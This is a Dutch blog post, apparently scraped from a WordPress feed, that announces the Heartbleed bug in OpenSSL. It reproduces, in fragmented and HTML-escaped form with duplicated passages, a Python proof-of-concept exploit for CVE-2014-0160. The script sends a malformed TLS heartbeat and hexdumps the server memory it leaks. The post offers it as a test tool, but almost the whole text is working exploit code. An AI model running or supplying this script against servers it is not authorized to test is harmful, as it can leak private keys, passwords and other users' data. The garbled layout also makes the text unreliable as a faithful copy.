Gisteren is de Heartbleed bug gevonden in openssl : http:\/\/heartbleed.com.<\/p>\n
Hieronder een python scriptje wat je kunt gebruiken om het eea te testen :<\/p>\n
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) import sys options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') def h2bin(x): hello = h2bin(''' hb = h2bin(''' def hexdump(s): def hit_hb(s): if typ == 24: if typ == 21: def main(): Gisteren is de Heartbleed bug gevonden in openssl : http:\/\/heartbleed.com. Hieronder een python scriptje wat je kunt gebruiken om het eea te testen : #!\/usr\/bin\/python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code. import sys import struct import socket import time import select … <\/p>\n
\n#!\/usr\/bin\/python<\/p>\n
\n# The author disclaims copyright to this source code.<\/p>\n
\nimport struct
\nimport socket
\nimport time
\nimport select
\nimport re
\nfrom optparse import OptionParser<\/p>\n
\noptions.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')<\/p>\n
\n return x.replace(' ', '').replace('\\n', '').decode('hex')<\/p>\n
\n16 03 02 00 dc 01 00 00 d8 03 02 53
\n43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
\nbd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
\n00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
\n00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
\nc0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
\nc0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
\nc0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
\nc0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
\n00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
\n03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
\n00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
\n00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
\n00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
\n00 0f 00 01 01
\n''')<\/p>\n
\n18 03 02 00 03
\n01 40 00
\n''')<\/p>\n
\n for b in xrange(0, len(s), 16):
\n lin = [c for c in s[b : b + 16]]
\n hxdat = ' '.join('%02X' % ord(c) for c in lin)
\n pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)\n print ' %04x: %-48s %s' % (b, hxdat, pdat)\n print\n\ndef recvall(s, length, timeout=5):\n endtime = time.time() + timeout\n rdata = ''\n remain = length\n while remain > 0:
\n rtime = endtime - time.time()
\n if rtime < 0:\n return None\n r, w, e = select.select([s], [], [], 5)\n if s in r:\n data = s.recv(remain)\n # EOF?\n if not data:\n return None\n rdata += data\n remain -= len(data)\n return rdata\n \n\ndef recvmsg(s):\n hdr = recvall(s, 5)\n if hdr is None:\n print 'Unexpected EOF receiving record header - server closed connection'\n return None, None, None\n typ, ver, ln = struct.unpack('>BHH', hdr)
\n pay = recvall(s, ln, 10)
\n if pay is None:
\n print 'Unexpected EOF receiving record payload - server closed connection'
\n return None, None, None
\n print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
\n return typ, ver, pay<\/p>\n
\n s.send(hb)
\n while True:
\n typ, ver, pay = recvmsg(s)
\n if typ is None:
\n print 'No heartbeat response received, server likely not vulnerable'
\n return False<\/p>\n
\n print 'Received heartbeat response:'
\n hexdump(pay)
\n if len(pay) > 3:
\n print 'WARNING: server returned more data than it should - server is vulnerable!'
\n else:
\n print 'Server processed malformed heartbeat, but did not return any extra data.'
\n return True<\/p>\n
\n print 'Received alert:'
\n hexdump(pay)
\n print 'Server returned error, likely not vulnerable'
\n return False<\/p>\n
\n opts, args = options.parse_args()
\n if len(args) < 1:\n options.print_help()\n return\n\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n print 'Connecting...'\n sys.stdout.flush()\n s.connect((args[0], opts.port))\n print 'Sending Client Hello...'\n sys.stdout.flush()\n s.send(hello)\n print 'Waiting for Server Hello...'\n sys.stdout.flush()\n while True:\n typ, ver, pay = recvmsg(s)\n if typ == None:\n print 'Server closed connection without sending Server Hello.'\n return\n # Look for server hello done message.\n if typ == 22 and ord(pay[0]) == 0x0E:\n break\n\n print 'Sending heartbeat request...'\n sys.stdout.flush()\n s.send(hb)\n hit_hb(s)\n\nif __name__ == '__main__':\n main()\n<\/code><\/p>\n","protected":false},"excerpt":{"rendered":"